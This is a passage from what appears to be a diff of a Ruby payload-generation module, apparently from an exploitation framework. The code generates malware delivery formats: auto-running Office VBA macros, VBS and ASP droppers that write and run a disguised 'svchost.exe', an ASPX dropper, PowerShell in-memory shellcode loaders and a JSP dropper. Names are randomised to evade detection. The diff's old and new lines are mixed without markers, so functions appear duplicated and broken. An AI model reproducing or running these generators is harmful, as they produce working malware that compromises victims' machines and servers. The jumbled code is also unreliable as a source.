vba << "\t\tElseIf (InStr(1,#{var_stemp},#{var_magic}) > 0 And Len(#{var_stemp}) > 0) Then\r\n"
vba << "\t\t\t#{var_gotmagic} = True\r\n"
vba << "\t\tEnd If\r\n"
vba << "\tNext\r\n"
vba << "\tClose ##{var_fhand}\r\n"
vba << "\t#{func_name2}(#{var_fname})\r\n"
vba << "End Sub\r\n"
vba << "Sub #{func_name2}(#{var_farg} As String)\r\n"
vba << "\tDim #{var_appnr} As Integer\r\n"
vba << "\tDim #{var_fenvi} As String\r\n"
vba << "\t#{var_fenvi} = Environ(\"USERPROFILE\")\r\n"
vba << "\tChDrive (#{var_fenvi})\r\n"
vba << "\tChDir (#{var_fenvi})\r\n"
vba << "\t#{var_appnr} = Shell(#{var_farg}, vbHide)\r\n"
vba << "End Sub\r\n"
vba << "Sub AutoOpen()\r\n"
vba << "\tAuto_Open\r\n"
vba << "End Sub\r\n"
vba << "Sub Workbook_Open()\r\n"
vba << "\tAuto_Open\r\n"
vba << "End Sub\r\n"
vba << "'**************************************************************\r\n"
vba << "'*\r\n"
vba << "'* PAYLOAD DATA\r\n"
vba << "'*\r\n"
vba << "'**************************************************************\r\n\r\n\r\n"
vba << "#{var_magic}\r\n"
hash_sub[:data] = ""
# Writing the bytes of the exe to the file
1.upto(exe.length) do |pc|
while(c = exe[idx])
vba << "&H#{("%.2x" % c).upcase}"
hash_sub[:data] << "&H#{("%.2x" % c).upcase}"
if (idx > 1 and (idx % maxbytes) == 0)
# When maxbytes are written make a new paragrpah
vba << "\r\n"
hash_sub[:data] << "\r\n"
end
idx += 1
end
end
return vba
return read_replace_script_template("to_exe.vba.template", hash_sub)
end
def self.to_vba(framework,code,opts={})
var_myByte = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_myArray = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_rwxpage = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_res = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_offset = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_lpThreadAttributes = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_dwStackSize = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_lpStartAddress = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_lpParameter = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_dwCreationFlags = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_lpThreadID = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_lpAddr = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_lSize = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_flAllocationType = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_flProtect = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_lDest = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_Source = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_Length = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
def self.to_vba(framework,code,opts={})
hash_sub = {}
hash_sub[:var_myByte] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
hash_sub[:var_myArray] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
hash_sub[:var_rwxpage] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
hash_sub[:var_res] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
hash_sub[:var_offset] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
hash_sub[:var_lpThreadAttributes] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
hash_sub[:var_dwStackSize] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
hash_sub[:var_lpStartAddress] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
hash_sub[:var_lpParameter] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
hash_sub[:var_dwCreationFlags] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
hash_sub[:var_lpThreadID] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
hash_sub[:var_lpAddr] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
hash_sub[:var_lSize] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
hash_sub[:var_flAllocationType] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
hash_sub[:var_flProtect] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
hash_sub[:var_lDest] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
hash_sub[:var_Source] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
hash_sub[:var_Length] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
# put the shellcode bytes into an array
bytes = ''
maxbytes = 20
codebytes = code.unpack('C*')
1.upto(codebytes.length) do |idx|
bytes << codebytes[idx].to_s
bytes << "," if idx < codebytes.length - 1
bytes << " _\r\n" if (idx > 1 and (idx % maxbytes) == 0)
end
hash_sub[:bytes] = Rex::Text.to_vbapplication(code, hash_sub[:var_myArray])
"#If Vba7 Then
Private Declare PtrSafe Function CreateThread Lib \"kernel32\" (ByVal #{var_lpThreadAttributes} As Long, ByVal #{var_dwStackSize} As Long, ByVal #{var_lpStartAddress} As LongPtr, #{var_lpParameter} As Long, ByVal #{var_dwCreationFlags} As Long, #{var_lpThreadID} As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib \"kernel32\" (ByVal #{var_lpAddr} As Long, ByVal #{var_lSize} As Long, ByVal #{var_flAllocationType} As Long, ByVal #{var_flProtect} As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib \"kernel32\" (ByVal #{var_lDest} As LongPtr, ByRef #{var_Source} As Any, ByVal #{var_Length} As Long) As LongPtr
#Else
Private Declare Function CreateThread Lib \"kernel32\" (ByVal #{var_lpThreadAttributes} As Long, ByVal #{var_dwStackSize} As Long, ByVal #{var_lpStartAddress} As Long, #{var_lpParameter} As Long, ByVal #{var_dwCreationFlags} As Long, #{var_lpThreadID} As Long) As Long
Private Declare Function VirtualAlloc Lib \"kernel32\" (ByVal #{var_lpAddr} As Long, ByVal #{var_lSize} As Long, ByVal #{var_flAllocationType} As Long, ByVal #{var_flProtect} As Long) As Long
Private Declare Function RtlMoveMemory Lib \"kernel32\" (ByVal #{var_lDest} As Long, ByRef #{var_Source} As Any, ByVal #{var_Length} As Long) As Long
#EndIf
Sub Auto_Open()
Dim #{var_myByte} As Long, #{var_myArray} As Variant, #{var_offset} As Long
#If Vba7 Then
Dim #{var_rwxpage} As LongPtr, #{var_res} As LongPtr
#Else
Dim #{var_rwxpage} As Long, #{var_res} As Long
#EndIf
#{var_myArray} = Array(#{bytes})
#{var_rwxpage} = VirtualAlloc(0, UBound(#{var_myArray}), &H1000, &H40)
For #{var_offset} = LBound(#{var_myArray}) To UBound(#{var_myArray})
#{var_myByte} = #{var_myArray}(#{var_offset})
#{var_res} = RtlMoveMemory(#{var_rwxpage} + #{var_offset}, #{var_myByte}, 1)
Next #{var_offset}
#{var_res} = CreateThread(0, 0, #{var_rwxpage}, 0, 0, 0)
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
"
end
def self.to_win32pe_vba(framework, code, opts={})
to_exe_vba(to_win32pe(framework, code, opts))
return read_replace_script_template("to_mem.vba.template", hash_sub)
end
def self.to_exe_vbs(exes = '', opts={})
delay = opts[:delay] || 5
persist = opts[:persist] || false
exe = exes.unpack('C*')
vbs = ""
hash_sub = {}
hash_sub[:var_shellcode] = ""
hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(4)+4) # repeated a large number of times, so keep this one small
hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_func] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_stream] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_obj] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_shell] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8)
var_bytes = Rex::Text.rand_text_alpha(rand(4)+4) # repeated a large number of times, so keep this one small
var_fname = Rex::Text.rand_text_alpha(rand(8)+8)
var_func = Rex::Text.rand_text_alpha(rand(8)+8)
var_stream = Rex::Text.rand_text_alpha(rand(8)+8)
var_obj = Rex::Text.rand_text_alpha(rand(8)+8)
var_shell = Rex::Text.rand_text_alpha(rand(8)+8)
var_tempdir = Rex::Text.rand_text_alpha(rand(8)+8)
var_tempexe = Rex::Text.rand_text_alpha(rand(8)+8)
var_basedir = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_shellcode] = Rex::Text.to_vbscript(exes, hash_sub[:var_bytes])
vbs << "Function #{var_func}()\r\n"
hash_sub[:init] = ""
vbs << "#{var_bytes}=Chr(#{exe[0]})"
lines = []
1.upto(exe.length-1) do |byte|
if(byte % 100 == 0)
lines.push "\r\n#{var_bytes}=#{var_bytes}"
end
# exe is an Array of bytes, not a String, thanks to the unpack
# above, so the following line is not subject to the different
# treatments of String#[] between ruby 1.8 and 1.9
lines.push "&Chr(#{exe[byte]})"
if(persist)
hash_sub[:init] << "Do\r\n"
hash_sub[:init] << "#{hash_sub[:var_func]}\r\n"
hash_sub[:init] << "WScript.Sleep #{delay * 1000}\r\n"
hash_sub[:init] << "Loop\r\n"
else
hash_sub[:init] << "#{hash_sub[:var_func]}\r\n"
end
vbs << lines.join("") + "\r\n"
vbs << "Dim #{var_obj}\r\n"
vbs << "Set #{var_obj} = CreateObject(\"Scripting.FileSystemObject\")\r\n"
vbs << "Dim #{var_stream}\r\n"
vbs << "Dim #{var_tempdir}\r\n"
vbs << "Dim #{var_tempexe}\r\n"
vbs << "Dim #{var_basedir}\r\n"
vbs << "Set #{var_tempdir} = #{var_obj}.GetSpecialFolder(2)\r\n"
vbs << "#{var_basedir} = #{var_tempdir} & \"\\\" & #{var_obj}.GetTempName()\r\n"
vbs << "#{var_obj}.CreateFolder(#{var_basedir})\r\n"
vbs << "#{var_tempexe} = #{var_basedir} & \"\\\" & \"svchost.exe\"\r\n"
vbs << "Set #{var_stream} = #{var_obj}.CreateTextFile(#{var_tempexe}, true , false)\r\n"
vbs << "#{var_stream}.Write #{var_bytes}\r\n"
vbs << "#{var_stream}.Close\r\n"
vbs << "Dim #{var_shell}\r\n"
vbs << "Set #{var_shell} = CreateObject(\"Wscript.Shell\")\r\n"
vbs << "#{var_shell}.run #{var_tempexe}, 0, true\r\n"
vbs << "#{var_obj}.DeleteFile(#{var_tempexe})\r\n"
vbs << "#{var_obj}.DeleteFolder(#{var_basedir})\r\n"
vbs << "End Function\r\n"
vbs << "Do\r\n" if persist
vbs << "#{var_func}\r\n"
vbs << "WScript.Sleep #{delay * 1000}\r\n" if persist
vbs << "Loop\r\n" if persist
vbs
return read_replace_script_template("to_exe.vbs.template", hash_sub)
end
def self.to_exe_asp(exes = '', opts={})
exe = exes.unpack('C*')
vbs = "<%\r\n"
hash_sub = {}
hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(4)+4) # repeated a large number of times, so keep this one small
hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_func] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_stream] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_obj] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_shell] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8)
var_bytes = Rex::Text.rand_text_alpha(rand(4)+4) # repeated a large number of times, so keep this one small
var_fname = Rex::Text.rand_text_alpha(rand(8)+8)
var_func = Rex::Text.rand_text_alpha(rand(8)+8)
var_stream = Rex::Text.rand_text_alpha(rand(8)+8)
var_obj = Rex::Text.rand_text_alpha(rand(8)+8)
var_shell = Rex::Text.rand_text_alpha(rand(8)+8)
var_tempdir = Rex::Text.rand_text_alpha(rand(8)+8)
var_tempexe = Rex::Text.rand_text_alpha(rand(8)+8)
var_basedir = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_shellcode] = Rex::Text.to_vbscript(exes, hash_sub[:var_bytes])
vbs << "Sub #{var_func}()\r\n"
vbs << "#{var_bytes}=Chr(#{exe[0]})"
lines = []
1.upto(exe.length-1) do |byte|
if(byte % 100 == 0)
lines.push "\r\n#{var_bytes}=#{var_bytes}"
end
# exe is an Array of bytes, not a String, thanks to the unpack
# above, so the following line is not subject to the different
# treatments of String#[] between ruby 1.8 and 1.9
lines.push "&Chr(#{exe[byte]})"
end
vbs << lines.join("") + "\r\n"
vbs << "Dim #{var_obj}\r\n"
vbs << "Set #{var_obj} = CreateObject(\"Scripting.FileSystemObject\")\r\n"
vbs << "Dim #{var_stream}\r\n"
vbs << "Dim #{var_tempdir}\r\n"
vbs << "Dim #{var_tempexe}\r\n"
vbs << "Dim #{var_basedir}\r\n"
vbs << "Set #{var_tempdir} = #{var_obj}.GetSpecialFolder(2)\r\n"
vbs << "#{var_basedir} = #{var_tempdir} & \"\\\" & #{var_obj}.GetTempName()\r\n"
vbs << "#{var_obj}.CreateFolder(#{var_basedir})\r\n"
vbs << "#{var_tempexe} = #{var_basedir} & \"\\\" & \"svchost.exe\"\r\n"
vbs << "Set #{var_stream} = #{var_obj}.CreateTextFile(#{var_tempexe},2,0)\r\n"
vbs << "#{var_stream}.Write #{var_bytes}\r\n"
vbs << "#{var_stream}.Close\r\n"
vbs << "Dim #{var_shell}\r\n"
vbs << "Set #{var_shell} = CreateObject(\"Wscript.Shell\")\r\n"
vbs << "#{var_shell}.run #{var_tempexe}, 0, false\r\n"
vbs << "End Sub\r\n"
vbs << "#{var_func}\r\n"
vbs << "%>\r\n"
vbs
return read_replace_script_template("to_exe.asp.template", hash_sub)
end
def self.to_exe_aspx(exes = '', opts={})
exe = exes.unpack('C*')
hash_sub = {}
hash_sub[:var_file] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_filename] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_iterator] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8)+8)
var_file = Rex::Text.rand_text_alpha(rand(8)+8)
var_tempdir = Rex::Text.rand_text_alpha(rand(8)+8)
var_basedir = Rex::Text.rand_text_alpha(rand(8)+8)
var_filename = Rex::Text.rand_text_alpha(rand(8)+8)
var_tempexe = Rex::Text.rand_text_alpha(rand(8)+8)
var_iterator = Rex::Text.rand_text_alpha(rand(8)+8)
var_proc = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:shellcode] = Rex::Text.to_csharp(exes,100,hash_sub[:var_file])
source = "<%@ Page Language=\"C#\" AutoEventWireup=\"true\" %>\r\n"
source << "<%@ Import Namespace=\"System.IO\" %>\r\n"
source << "<script runat=\"server\">\r\n"
source << "\tprotected void Page_Load(object sender, EventArgs e)\r\n"
source << "\t{\r\n"
source << "\t\tStringBuilder #{var_file} = new StringBuilder();\r\n"
source << "\t\t#{var_file}.Append(\"\\x#{exe[0].to_s(16)}"
1.upto(exe.length-1) do |byte|
# Apparently .net 1.0 has a limit of 2046 chars per line
if(byte % 100 == 0)
source << "\");\r\n\t\t#{var_file}.Append(\""
end
source << "\\x#{exe[byte].to_s(16)}"
end
source << "\");\r\n"
source << "\t\tstring #{var_tempdir} = Path.GetTempPath();\r\n"
source << "\t\tstring #{var_basedir} = Path.Combine(#{var_tempdir}, \"#{var_filename}\");\r\n"
source << "\t\tstring #{var_tempexe} = Path.Combine(#{var_basedir}, \"svchost.exe\");\r\n"
source << "\r\n"
source << "\t\tDirectory.CreateDirectory(#{var_basedir});\r\n"
source << "\r\n"
source << "\t\tFileStream fs = File.Create(#{var_tempexe});\r\n"
source << "\t\ttry\r\n"
source << "\t\t{\r\n"
source << "\t\t\tforeach (char #{var_iterator} in #{var_file}.ToString())\r\n"
source << "\t\t\t{\r\n"
source << "\t\t\t\tfs.WriteByte(Convert.ToByte(#{var_iterator}));\r\n"
source << "\t\t\t}\r\n"
source << "\t\t}\r\n"
source << "\t\tfinally\r\n"
source << "\t\t{\r\n"
source << "\t\t\tif (fs != null) ((IDisposable)fs).Dispose();\r\n"
source << "\t\t}\r\n"
source << "\r\n"
source << "\t\tSystem.Diagnostics.Process #{var_proc} = new System.Diagnostics.Process();\r\n"
source << "\t\t#{var_proc}.StartInfo.CreateNoWindow = true;\r\n"
source << "\t\t#{var_proc}.StartInfo.UseShellExecute = true;\r\n"
source << "\t\t#{var_proc}.StartInfo.FileName = #{var_tempexe};\r\n"
source << "\t\t#{var_proc}.Start();\r\n"
source << "\r\n"
source << "\t}\r\n"
source << "</script>\r\n"
source
return read_replace_script_template("to_exe.aspx.template", hash_sub)
end
def self.to_win32pe_psh_net(framework, code, opts={})
var_code = Rex::Text.rand_text_alpha(rand(8)+8)
var_kernel32 = Rex::Text.rand_text_alpha(rand(8)+8)
var_baseaddr = Rex::Text.rand_text_alpha(rand(8)+8)
var_threadHandle = Rex::Text.rand_text_alpha(rand(8)+8)
var_output = Rex::Text.rand_text_alpha(rand(8)+8)
var_temp = Rex::Text.rand_text_alpha(rand(8)+8)
var_codeProvider = Rex::Text.rand_text_alpha(rand(8)+8)
var_compileParams = Rex::Text.rand_text_alpha(rand(8)+8)
var_syscode = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub = {}
hash_sub[:var_code] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_kernel32] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_baseaddr] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_threadHandle] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_output] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_temp] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_codeProvider] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_compileParams] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_syscode] = Rex::Text.rand_text_alpha(rand(8)+8)
code = code.unpack('C*')
psh = "Set-StrictMode -Version 2\r\n"
psh << "$#{var_syscode} = @\"\r\nusing System;\r\nusing System.Runtime.InteropServices;\r\n"
psh << "namespace #{var_kernel32} {\r\n"
psh << "public class func {\r\n"
psh << "[Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }\r\n"
psh << "[Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 }\r\n"
psh << "[Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }\r\n"
psh << "[DllImport(\"kernel32.dll\")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);\r\n"
psh << "[DllImport(\"kernel32.dll\")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);\r\n"
psh << "[DllImport(\"kernel32.dll\")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);\r\n"
psh << "} }\r\n"
psh << "\"@\r\n\r\n"
psh << "$#{var_codeProvider} = New-Object Microsoft.CSharp.CSharpCodeProvider\r\n"
psh << "$#{var_compileParams} = New-Object System.CodeDom.Compiler.CompilerParameters\r\n"
psh << "$#{var_compileParams}.ReferencedAssemblies.AddRange(@(\"System.dll\", [PsObject].Assembly.Location))\r\n"
psh << "$#{var_compileParams}.GenerateInMemory = $True\r\n"
psh << "$#{var_output} = $#{var_codeProvider}.CompileAssemblyFromSource($#{var_compileParams}, $#{var_syscode})\r\n\r\n"
hash_sub[:shellcode] = Rex::Text.to_powershell(code, hash_sub[:var_code])
psh << "[Byte[]]$#{var_code} = 0x#{code[0].to_s(16)}"
lines = []
1.upto(code.length-1) do |byte|
if(byte % 10 == 0)
lines.push "\r\n$#{var_code} += 0x#{code[byte].to_s(16)}"
else
lines.push ",0x#{code[byte].to_s(16)}"
end
end
psh << lines.join("") + "\r\n\r\n"
psh << "$#{var_baseaddr} = [#{var_kernel32}.func]::VirtualAlloc(0, $#{var_code}.Length + 1, [#{var_kernel32}.func+AllocationType]::Reserve -bOr [#{var_kernel32}.func+AllocationType]::Commit, [#{var_kernel32}.func+MemoryProtection]::ExecuteReadWrite)\r\n"
psh << "if ([Bool]!$#{var_baseaddr}) { $global:result = 3; return }\r\n"
psh << "[System.Runtime.InteropServices.Marshal]::Copy($#{var_code}, 0, $#{var_baseaddr}, $#{var_code}.Length)\r\n"
psh << "[IntPtr] $#{var_threadHandle} = [#{var_kernel32}.func]::CreateThread(0,0,$#{var_baseaddr},0,0,0)\r\n"
psh << "if ([Bool]!$#{var_threadHandle}) { $global:result = 7; return }\r\n"
psh << "$#{var_temp} = [#{var_kernel32}.func]::WaitForSingleObject($#{var_threadHandle}, [#{var_kernel32}.func+Time]::Infinite)\r\n"
return read_replace_script_template("to_mem_dotnet.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
end
def self.to_win32pe_psh(framework, code, opts={})
hash_sub = {}
hash_sub[:var_code] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_win32_func] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_payload] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_size] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_rwx] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_iter] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_syscode] = Rex::Text.rand_text_alpha(rand(8)+8)
var_code = Rex::Text.rand_text_alpha(rand(8)+8)
var_win32_func = Rex::Text.rand_text_alpha(rand(8)+8)
var_payload = Rex::Text.rand_text_alpha(rand(8)+8)
var_size = Rex::Text.rand_text_alpha(rand(8)+8)
var_rwx = Rex::Text.rand_text_alpha(rand(8)+8)
var_iter = Rex::Text.rand_text_alpha(rand(8)+8)
code = code.unpack("C*")
# Add wrapper script
psh = "$#{var_code} = @\"\r\n"
psh << "[DllImport(\"kernel32.dll\")]\r\n"
psh << "public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);\r\n"
psh << "[DllImport(\"kernel32.dll\")]\r\n"
psh << "public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);\r\n"
psh << "[DllImport(\"msvcrt.dll\")]\r\n"
psh << "public static extern IntPtr memset(IntPtr dest, uint src, uint count);\r\n"
psh << "\"@\r\n"
psh << "$#{var_win32_func} = Add-Type -memberDefinition $#{var_code} -Name \"Win32\" -namespace Win32Functions -passthru\r\n"
# Set up the payload string
psh << "[Byte[]]$#{var_payload} = 0x#{code[0].to_s(16)}"
lines = []
1.upto(code.length-1) do |byte|
if(byte % 10 == 0)
lines.push "\r\n$#{var_payload} += 0x#{code[byte].to_s(16)}"
else
lines.push ",0x#{code[byte].to_s(16)}"
end
end
psh << lines.join("") + "\r\n\r\n"
psh << "$#{var_size} = 0x1000\r\n"
psh << "if ($#{var_payload}.Length -gt 0x1000) {$#{var_size} = $#{var_payload}.Length}\r\n"
psh << "$#{var_rwx}=$#{var_win32_func}::VirtualAlloc(0,0x1000,$#{var_size},0x40)\r\n"
psh << "for ($#{var_iter}=0;$#{var_iter} -le ($#{var_payload}.Length-1);$#{var_iter}++) {$#{var_win32_func}::memset([IntPtr]($#{var_rwx}.ToInt32()+$#{var_iter}), $#{var_payload}[$#{var_iter}], 1)}\r\n"
psh << "$#{var_win32_func}::CreateThread(0,0,$#{var_rwx},0,0,0)\r\n"
hash_sub[:shellcode] = Rex::Text.to_powershell(code, hash_sub[:var_code])
return read_replace_script_template("to_mem_old.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
end
def self.to_win32pe_vbs(framework, code, opts={})
to_exe_vbs(to_win32pe(framework, code, opts), opts)
end
def self.to_win32pe_asp(framework, code, opts={})
to_exe_asp(to_win32pe(framework, code, opts), opts)
end
def self.to_win32pe_aspx(framework, code, opts={})
to_exe_aspx(to_win32pe(framework, code, opts), opts)
end
# Creates a jar file that drops the provided +exe+ into a random file name
# in the system's temp dir and executes it.
#
@ -1401,7 +1117,7 @@ End Sub
web_xml.gsub!(/PAYLOAD/, jsp_name)
zip = Rex::Zip::Archive.new
zip.add_file('META-INF/', nil, meta_inf)
zip.add_file('META-INF/', '', meta_inf)
zip.add_file('META-INF/MANIFEST.MF', manifest)
zip.add_file('WEB-INF/', '')
zip.add_file('WEB-INF/web.xml', web_xml)
@ -1430,73 +1146,24 @@ End Sub
def self.to_jsp_war(exe, opts={})
# begin <payload>.jsp
var_hexpath = Rex::Text.rand_text_alpha(rand(8)+8)
var_exepath = Rex::Text.rand_text_alpha(rand(8)+8)
var_data = Rex::Text.rand_text_alpha(rand(8)+8)
var_inputstream = Rex::Text.rand_text_alpha(rand(8)+8)
var_outputstream = Rex::Text.rand_text_alpha(rand(8)+8)
var_numbytes = Rex::Text.rand_text_alpha(rand(8)+8)
var_bytearray = Rex::Text.rand_text_alpha(rand(8)+8)
var_bytes = Rex::Text.rand_text_alpha(rand(8)+8)
var_counter = Rex::Text.rand_text_alpha(rand(8)+8)
var_char1 = Rex::Text.rand_text_alpha(rand(8)+8)
var_char2 = Rex::Text.rand_text_alpha(rand(8)+8)
var_comb = Rex::Text.rand_text_alpha(rand(8)+8)
var_exe = Rex::Text.rand_text_alpha(rand(8)+8)
var_hexfile = Rex::Text.rand_text_alpha(rand(8)+8)
var_proc = Rex::Text.rand_text_alpha(rand(8)+8)
var_fperm = Rex::Text.rand_text_alpha(rand(8)+8)
var_fdel = Rex::Text.rand_text_alpha(rand(8)+8)
jspraw = "<%@ page import=\"java.io.*\" %>\n"
jspraw << "<%\n"
jspraw << "String #{var_hexpath} = application.getRealPath(\"/\") + \"/#{var_hexfile}.txt\";\n"
jspraw << "String #{var_exepath} = System.getProperty(\"java.io.tmpdir\") + \"/#{var_exe}\";\n"
jspraw << "String #{var_data} = \"\";\n"
jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") != -1){\n"
jspraw << "#{var_exepath} = #{var_exepath}.concat(\".exe\");\n"
jspraw << "}\n"
jspraw << "FileInputStream #{var_inputstream} = new FileInputStream(#{var_hexpath});\n"
jspraw << "FileOutputStream #{var_outputstream} = new FileOutputStream(#{var_exepath});\n"
jspraw << "int #{var_numbytes} = #{var_inputstream}.available();\n"
jspraw << "byte #{var_bytearray}[] = new byte[#{var_numbytes}];\n"
jspraw << "#{var_inputstream}.read(#{var_bytearray});\n"
jspraw << "#{var_inputstream}.close();\n"
jspraw << "byte[] #{var_bytes} = new byte[#{var_numbytes}/2];\n"
jspraw << "for (int #{var_counter} = 0; #{var_counter} < #{var_numbytes}; #{var_counter} += 2)\n"
jspraw << "{\n"
jspraw << "char #{var_char1} = (char) #{var_bytearray}[#{var_counter}];\n"
jspraw << "char #{var_char2} = (char) #{var_bytearray}[#{var_counter} + 1];\n"
jspraw << "int #{var_comb} = Character.digit(#{var_char1}, 16) & 0xff;\n"
jspraw << "#{var_comb} <<= 4;\n"
jspraw << "#{var_comb} += Character.digit(#{var_char2}, 16) & 0xff;\n"
jspraw << "#{var_bytes}[#{var_counter}/2] = (byte)#{var_comb};\n"
jspraw << "}\n"
jspraw << "#{var_outputstream}.write(#{var_bytes});\n"
jspraw << "#{var_outputstream}.close();\n"
jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") == -1){\n"
jspraw << "String[] #{var_fperm} = new String[3];\n"
jspraw << "#{var_fperm}[0] = \"chmod\";\n"
jspraw << "#{var_fperm}[1] = \"+x\";\n"
jspraw << "#{var_fperm}[2] = #{var_exepath};\n"
jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_fperm});\n"
jspraw << "if (#{var_proc}.waitFor() == 0) {\n"
jspraw << "#{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n"
jspraw << "}\n"
# Linux and other UNICES allow removing files while they are in use...
jspraw << "File #{var_fdel} = new File(#{var_exepath}); #{var_fdel}.delete();\n"
jspraw << "} else {\n"
# Windows does not ..
jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n"
jspraw << "}\n"
jspraw << "%>\n"
hash_sub = {}
hash_sub[:var_hexpath] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_exepath] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_data] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_inputstream] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_outputstream] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_numbytes] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_bytearray] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(8)+8)
